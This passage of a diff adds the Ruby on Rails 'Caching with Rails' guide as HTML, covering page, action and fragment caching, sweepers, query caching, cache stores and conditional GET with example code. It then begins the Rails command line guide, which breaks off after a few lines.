+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Caching with Rails: An overview</h2>
+<p>This guide will teach you what you need to know about avoiding that expensive round-trip to your database and returning what you need to return to the web clients in the shortest time possible.</p>
+<p>After reading this guide, you should be able to use and configure:</p>
+<ul>
+	<li>Page, action, and fragment caching</li>
+	<li>Sweepers</li>
+	<li>Alternative cache stores</li>
+	<li>Conditional <span class="caps">GET</span> support</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#basic-caching">Basic Caching</a><ul><li><a href="#page-caching">Page Caching</a></li> <li><a href="#action-caching">Action Caching</a></li> <li><a href="#fragment-caching">Fragment Caching</a></li> <li><a href="#sweepers">Sweepers</a></li> <li><a href="#sql-caching"><span class="caps">SQL</span> Caching</a></li></ul></li><li><a href="#cache-stores">Cache Stores</a></li><li><a href="#conditional-get-support">Conditional <span class="caps">GET</span> support</a></li><li><a href="#advanced-caching">Advanced Caching</a></li><li><a href="#references">References</a></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="basic-caching">1 Basic Caching</h3>
+<p>This is an introduction to the three types of caching techniques that Rails provides by default without the use of any third party plugins.</p>
+<p>To start playing with testing you&#8217;ll want to ensure that <tt>config.action_controller.perform_caching</tt> is set to <tt>true</tt> if you&#8217;re running in development mode. This flag is normally set in the corresponding <tt>config/environments/*.rb</tt> and caching is disabled by default for development and test, and enabled for production.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.action_controller.perform_caching = true
+</pre>
+</div>
+</notextile>
+
+<h4 id="page-caching">1.1 Page Caching</h4>
+<p>Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can&#8217;t be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with.</p>
+<p>So, how do you enable this super-fast cache behavior?  Simple, let&#8217;s say you have a controller called <tt>ProductsController</tt> and an <tt>index</tt> action that lists all the products</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ProductsController &lt; ActionController
+
+  caches_page :index
+
+  def index
+    @products = Products.all
+  end
+
+end
+</pre>
+</div>
+</notextile>
+
+<p>The first time anyone requests <tt>/products</tt>, Rails will generate a file called <tt>products.html</tt> and the webserver will then look for that file before it passes the next request for <tt>/products</tt> to your Rails application.</p>
+<p>By default, the page cache directory is set to <tt>Rails.public_path</tt> (which is usually set to the <tt>public</tt> folder) and this can be configured by changing the configuration setting <tt>config.action_controller.page_cache_directory</tt>. Changing the default from <tt>public</tt> helps avoid naming conflicts, since you may want to put other static html in <tt>public</tt>, but changing this will require web server reconfiguration to let the web server know where to serve the cached files from.</p>
+<p>The Page Caching mechanism will automatically add a <tt>.html</tt> extension to requests for pages that do not have an extension to make it easy for the webserver to find those pages and this can be configured by changing the configuration setting <tt>config.action_controller.page_cache_extension</tt>.</p>
+<p>In order to expire this page when a new product is added we could extend our example controller like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ProductsController &lt; ActionController
+
+  caches_page :index
+
+  def index
+    @products = Products.all
+  end
+
+  def create
+    expire_page :action =&gt; :index
+  end
+
+end
+</pre>
+</div>
+</notextile>
+
+<p>If you want a more complicated expiration scheme, you can use cache sweepers to expire cached objects when things change. This is covered in the section on Sweepers.</p>
+<p>Note: Page caching ignores all parameters. For example <tt>/products?page=1</tt> will be written out to the filesystem as <tt>products.html</tt> with no reference to the <tt>page</tt> parameter. Thus, if someone requests <tt>/products?page=2</tt> later, they will get the cached first page. Be careful when page caching <span class="caps">GET</span> parameters in the <span class="caps">URL</span>!</p>
+<div class='info'><p>Page caching runs in an after filter. Thus, invalid requests won&#8217;t generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.</p></div>
+<h4 id="action-caching">1.2 Action Caching</h4>
+<p>One of the issues with Page Caching is that you cannot use it for pages that require to restrict access somehow. This is where Action Caching comes in. Action Caching works like Page Caching except for the fact that the incoming web request does go from the webserver to the Rails stack and Action Pack so that before filters can be run on it before the cache is served. This allows authentication and other restriction to be run while still serving the result of the output from a cached copy.</p>
+<p>Clearing the cache works in the exact same way as with Page Caching.</p>
+<p>Let&#8217;s say you only wanted authenticated users to call actions on <tt>ProductsController</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ProductsController &lt; ActionController
+
+  before_filter :authenticate
+  caches_action :index
+
+  def index
+    @products = Product.all
+  end
+
+  def create
+    expire_action :action =&gt; :index
+  end
+
+end
+</pre>
+</div>
+</notextile>
+
+<p>You can also use <tt>:if</tt> (or <tt>:unless</tt>) to pass a Proc that specifies when the action should be cached. Also, you can use <tt>:layout => false</tt> to cache without layout so that dynamic information in the layout such as logged in user info or the number of items in the cart can be left uncached. This feature is available as of Rails 2.2.</p>
+<p>You can modify the default action cache path by passing a <tt>:cache_path</tt> option. This will be passed directly to <tt>ActionCachePath.path_for</tt>. This is handy for actions with multiple possible routes that should be cached differently. If a block is given, it is called with the current controller instance.</p>
+<p>Finally, if you are using memcached, you can also pass <tt>:expires_in</tt>. In fact, all parameters not used by <tt>caches_action</tt> are sent to the underlying cache store.</p>
+<div class='info'><p>Action caching runs in an after filter. Thus, invalid requests won&#8217;t generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.</p></div>
+<h4 id="fragment-caching">1.3 Fragment Caching</h4>
+<p>Life would be perfect if we could get away with caching the entire contents of a page or action and serving it out to the world. Unfortunately, dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. In order to address such a dynamically created page where different parts of the page need to be cached and expired differently Rails provides a mechanism called Fragment Caching.</p>
+<p>Fragment Caching allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in.</p>
+<p>As an example, if you wanted to show all the orders placed on your website in real time and didn&#8217;t want to cache that part of the page, but did want to cache the part of the page which lists all products available, you could use this piece of code:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;% Order.find_recent.each do |o| %&gt;
+  &lt;%= o.buyer.name %&gt; bought &lt;% o.product.name %&gt;
+&lt;% end %&gt;
+
+&lt;% cache do %&gt;
+  All available products:
+  &lt;% Product.all.each do |p| %&gt;
+    &lt;%= link_to p.name, product_url(p) %&gt;
+  &lt;% end %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The cache block in our example will bind to the action that called it and is written out to the same place as the Action Cache, which means that if you want to cache multiple fragments per action, you should provide an <tt>action_suffix</tt> to the cache call:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;% cache(:action =&gt; 'recent', :action_suffix =&gt; 'all_products') do %&gt;
+  All available products:
+</pre>
+</div>
+</notextile>
+
+<p>and you can expire it using the <tt>expire_fragment</tt> method, like so:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+expire_fragment(:controller =&gt; 'products', :action =&gt; 'recent', :action_suffix =&gt; 'all_products')
+</pre>
+</div>
+</notextile>
+
+<p>If you don&#8217;t want the cache block to bind to the action that called it, You can also use globally keyed fragments by calling the <tt>cache</tt> method with a key, like so:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;% cache('all_available_products') do %&gt;
+  All available products:
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This fragment is then available to all actions in the <tt>ProductsController</tt> using the key and can be expired the same way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+expire_fragment('all_available_products')
+</pre>
+</div>
+</notextile>
+
+<h4 id="sweepers">1.4 Sweepers</h4>
+<p>Cache sweeping is a mechanism which allows you to get around having a ton of <tt>expire_{page,action,fragment}</tt> calls in your code.  It does this by moving all the work required to expire cached content into an <tt>ActionController::Caching::Sweeper</tt> subclass.  This class is an observer and looks for changes to an object via callbacks, and when a change occurs it expires the caches associated with that object in an around or after filter.</p>
+<p>Continuing with our Product controller example, we could rewrite it with a sweeper like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ProductSweeper &lt; ActionController::Caching::Sweeper
+  observe Product # This sweeper is going to keep an eye on the Product model
+
+  # If our sweeper detects that a Product was created call this
+  def after_create(product)
+          expire_cache_for(product)
+  end
+
+  # If our sweeper detects that a Product was updated call this
+  def after_update(product)
+          expire_cache_for(product)
+  end
+
+  # If our sweeper detects that a Product was deleted call this
+  def after_destroy(product)
+          expire_cache_for(product)
+  end
+
+  private
+  def expire_cache_for(product)
+    # Expire the index page now that we added a new product
+    expire_page(:controller =&gt; 'products', :action =&gt; 'index')
+
+    # Expire a fragment
+    expire_fragment('all_available_products')
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>You may notice that the actual product gets passed to the sweeper, so if we were caching the edit action for each product, we could add an expire method which specifies the page we want to expire:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+expire_action(:controller =&gt; 'products', :action =&gt; 'edit', :id =&gt; product)
+</pre>
+</div>
+</notextile>
+
+<p>Then we add it to our controller to tell it to call the sweeper when certain actions are called. So, if we wanted to expire the cached content for the list and edit actions when the create action was called, we could do the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ProductsController &lt; ActionController
+
+  before_filter :authenticate
+  caches_action :index
+  cache_sweeper :product_sweeper
+
+  def index
+    @products = Product.all
+  end
+
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="sql-caching">1.5 <span class="caps">SQL</span> Caching</h4>
+<p>Query caching is a Rails feature that caches the result set returned by each query so that if Rails encounters the same query again for that request, it will use the cached result set as opposed to running the query against the database again.</p>
+<p>For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ProductsController &lt; ActionController
+
+  def index
+    # Run a find query
+    @products = Product.all
+
+    ...
+
+    # Run the same query again
+    @products = Product.all
+  end
+
+end
+</pre>
+</div>
+</notextile>
+
+<p>The second time the same query is run against the database, it&#8217;s not actually going to hit the database.  The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it&#8217;s pulled from memory.</p>
+<p>However, it&#8217;s important to note that query caches are created at the start of an action and destroyed at the end of that action and thus persist only for the duration of the action.  If you&#8217;d like to store query results in a more persistent fashion, you can in Rails by using low level caching.</p>
+<h3 id="cache-stores">2 Cache Stores</h3>
+<p>Rails provides different stores for the cached data created by action and fragment caches. Page caches are always stored on disk.</p>
+<p>Rails 2.1 and above provide <tt>ActiveSupport::Cache::Store</tt> which can be used to cache strings. Some cache store implementations, like <tt>MemoryStore</tt>, are able to cache arbitrary Ruby objects, but don&#8217;t count on every cache store to be able to do that.</p>
+<p>The default cache stores provided with Rails include:</p>
+<p>1) <tt>ActiveSupport::Cache::MemoryStore</tt>: A cache store implementation which stores everything into memory in the same process. If you&#8217;re running multiple Ruby on Rails server processes (which is the case if you&#8217;re using mongrel_cluster or Phusion Passenger), then this means that your Rails server process instances won&#8217;t be able to share cache data with each other. If your application never performs manual cache item expiry (e.g. when youโ€˜re using generational cache keys), then using <tt>MemoryStore</tt> is ok. Otherwise, consider carefully whether you should be using this cache store.</p>
+<p><tt>MemoryStore</tt>  is not only able to store strings, but also arbitrary Ruby objects.</p>
+<p><tt>MemoryStore</tt>  is not thread-safe. Use <tt>SynchronizedMemoryStore</tt> instead if you need thread-safety.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActionController::Base.cache_store = :memory_store
+</pre>
+</div>
+</notextile>
+
+<p>2) <tt>ActiveSupport::Cache::FileStore</tt>: Cached data is stored on the disk, this is the default store and the default path for this store is <tt>tmp/cache</tt>. Works well for all types of environments and allows all processes running from the same application directory to access the cached content. If <tt>tmp/cache</tt> does not exist, the default store becomes <tt>MemoryStore</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActionController::Base.cache_store = :file_store, &quot;/path/to/cache/directory&quot;
+</pre>
+</div>
+</notextile>
+
+<p>3) <tt>ActiveSupport::Cache::DRbStore</tt>: Cached data is stored in a separate shared DRb process that all servers communicate with. This works for all environments and only keeps one cache around for all processes, but requires that you run and manage a separate DRb process.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActionController::Base.cache_store = :drb_store, &quot;druby://localhost:9192&quot;
+</pre>
+</div>
+</notextile>
+
+<p>4) <tt>ActiveSupport::Cache::MemCacheStore</tt>: Works like <tt>DRbStore</tt>, but uses Danga&#8217;s <tt>memcached</tt> instead. Rails uses the bundled <tt>memcached-client</tt> gem by default. This is currently the most popular cache store for production websites.</p>
+<p>Special features:</p>
+<ul>
+	<li>Clustering and load balancing. One can specify multiple memcached servers, and <tt>MemCacheStore</tt> will load balance between all available servers. If a server goes down, then <tt>MemCacheStore</tt> will ignore it until it goes back online.</li>
+	<li>Time-based expiry support. See <tt>write</tt> and the <tt>:expires_in</tt> option.</li>
+	<li>Per-request in memory cache for all communication with the <tt>memcached</tt> server(s).</li>
+</ul>
+<p>It also accepts a hash of additional options:</p>
+<ul>
+	<li><tt>:namespace</tt>: specifies a string that will automatically be prepended to keys when accessing the memcached store.</li>
+	<li><tt>:readonly</tt>: a boolean value that when set to true will make the store read-only, with an error raised on any attempt to write.</li>
+	<li><tt>:multithread</tt>: a boolean value that adds thread safety to read/write operations &#8211; it is unlikely you&#8217;ll need to use this option as the Rails threadsafe! method offers the same functionality.</li>
+</ul>
+<p>The read and write methods of the <tt>MemCacheStore</tt> accept an options hash too. When reading you can specify <tt>:raw => true</tt> to prevent the object being marshaled (by default this is false which means the raw value in the cache is passed to <tt>Marshal.load</tt> before being returned to you.)</p>
+<p>When writing to the cache it is also possible to specify <tt>:raw => true</tt> means the value is not passed to <tt>Marshal.dump</tt> before being stored in the cache (by default this is false).</p>
+<p>The write method also accepts an <tt>:unless_exist</tt> flag which determines whether the memcached add (when true) or set (when false) method is used to store the item in the cache and an <tt>:expires_in</tt> option that specifies the time-to-live for the cached item in seconds.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActionController::Base.cache_store = :mem_cache_store, &quot;localhost&quot;
+</pre>
+</div>
+</notextile>
+
+<p>5) <tt>ActiveSupport::Cache::SynchronizedMemoryStore</tt>: Like <tt>MemoryStore</tt> but thread-safe.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActionController::Base.cache_store = :synchronized_memory_store
+</pre>
+</div>
+</notextile>
+
+<p>6) <tt>ActiveSupport::Cache::CompressedMemCacheStore</tt>: Works just like the regular <tt>MemCacheStore</tt> but uses GZip to decompress/compress on read/write.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActionController::Base.cache_store = :compressed_mem_cache_store, &quot;localhost&quot;
+</pre>
+</div>
+</notextile>
+
+<p>7) Custom store: You can define your own cache store (new in Rails 2.1).</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActionController::Base.cache_store = MyOwnStore.new(&quot;parameter&quot;)
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p><tt>config.cache_store</tt> can be used in place of <tt>ActionController::Base.cache_store</tt> in your <tt>Rails::Initializer.run</tt> block in <tt>environment.rb</tt></p></div>
+<p>In addition to all of this, Rails also adds the <tt>ActiveRecord::Base#cache_key</tt> method that generates a key using the class name, <tt>id</tt> and <tt>updated_at</tt> timestamp (if available).</p>
+<p>You can access these cache stores at a low level for storing queries and other objects. Here&#8217;s an example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Rails.cache.read(&quot;city&quot;)   # =&gt; nil
+Rails.cache.write(&quot;city&quot;, &quot;Duckburgh&quot;)
+Rails.cache.read(&quot;city&quot;)   # =&gt; &quot;Duckburgh&quot;
+</pre>
+</div>
+</notextile>
+
+<h3 id="conditional-get-support">3 Conditional <span class="caps">GET</span> support</h3>
+<p>Conditional GETs are a feature of the <span class="caps">HTTP</span> specification that provide a way for web servers to tell browsers that the response to a <span class="caps">GET</span> request hasn&#8217;t changed since the last request and can be safely pulled from the browser cache.</p>
+<p>They work by using the <tt>HTTP_IF_NONE_MATCH</tt> and <tt>HTTP_IF_MODIFIED_SINCE</tt> headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the serverโ€™s version then the server only needs to send back an empty response with a not modified status.</p>
+<p>It is the server&#8217;s (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ProductsController &lt; ApplicationController
+
+  def show
+    @product = Product.find(params[:id])
+
+    # If the request is stale according to the given timestamp and etag value
+    # (i.e. it needs to be processed again) then execute this block
+    if stale?(:last_modified =&gt; @product.updated_at.utc, :etag =&gt; @product)
+      respond_to do |wants|
+        # ... normal response processing
+      end
+    end
+
+    # If the request is fresh (i.e. it's not modified) then you don't need to do
+    # anything. The default render checks for this using the parameters
+    # used in the previous call to stale? and will automatically send a
+    # :not_modified.  So that's it, you're done.
+end
+</pre>
+</div>
+</notextile>
+
+<p>If you don&#8217;t have any special response processing and are using the default rendering mechanism (i.e. you&#8217;re not using respond_to or calling render yourself) then youโ€™ve got an easy helper in fresh_when:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ProductsController &lt; ApplicationController
+
+  # This will automatically send back a :not_modified if the request is fresh,
+  # and will render the default template (product.*) if it's stale.
+
+  def show
+    @product = Product.find(params[:id])
+    fresh_when :last_modified =&gt; @product.published_at.utc, :etag =&gt; @product
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="advanced-caching">4 Advanced Caching</h3>
+<p>Along with the built-in mechanisms outlined above, a number of excellent plugins exist to help with finer grained control over caching. These include Chris Wanstrath&#8217;s excellent cache_fu plugin (more info <a href="http://errtheblog.com/posts/57-kickin-ass-w-cachefu">here</a> ) and Evan Weaver&#8217;s interlock plugin (more info <a href="http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/">here</a> ). Both of these plugins play nice with memcached and are a must-see for anyone
+seriously considering optimizing their caching needs.</p>
+<p>Also the new <a href="http://github.com/nkallen/cache-money/tree/master">Cache money</a> plugin is supposed to be mad cool.</p>
+<h3 id="references">5 References</h3>
+<ul>
+	<li><a href="http://railslab.newrelic.com/scaling-rails">Scaling Rails Screencasts</a></li>
+	<li><a href="http://www.railsenvy.com/2007/2/28/rails-caching-tutorial">RailsEnvy, Rails Caching Tutorial, Part 1</a></li>
+	<li><a href="http://www.railsenvy.com/2007/3/20/ruby-on-rails-caching-tutorial-part-2">RailsEnvy, Rails Caching Tutorial, Part 2</a></li>
+	<li><a href="http://api.rubyonrails.org/classes/ActiveSupport/Cache.html">ActiveSupport::Cache documentation</a></li>
+	<li><a href="http://thewebfellas.com/blog/2008/6/9/rails-2-1-now-with-better-integrated-caching">Rails 2.1 integrated caching tutorial</a></li>
+</ul>
+<h3 id="changelog">6 Changelog
+<a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/10-guide-to-caching">Lighthouse ticket</a></h3>
+<ul>
+	<li>May       02, 2009: Formatting cleanups</li>
+	<li>April     26, 2009: Clean up typos in submitted patch</li>
+	<li>April      1, 2009: Made a bunch of small fixes</li>
+	<li>February  22, 2009: Beefed up the section on cache_stores</li>
+	<li>December  27, 2008: Typo fixes</li>
+	<li>November  23, 2008: Incremental updates with various suggested changes and formatting cleanup</li>
+	<li>September 15, 2008: Initial version by Aditya Chadha</li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/command_line.html
@@ -0,0 +1,722 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: A Guide to The Rails Command Line</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>A Guide to The Rails Command Line</h2>
+<p>Rails comes with every command line tool you&#8217;ll need to</p>
+<ul>
+	<li>Create a Rails application</li>
+	<li>Generate models, controllers, database migrations, and unit tests</li>
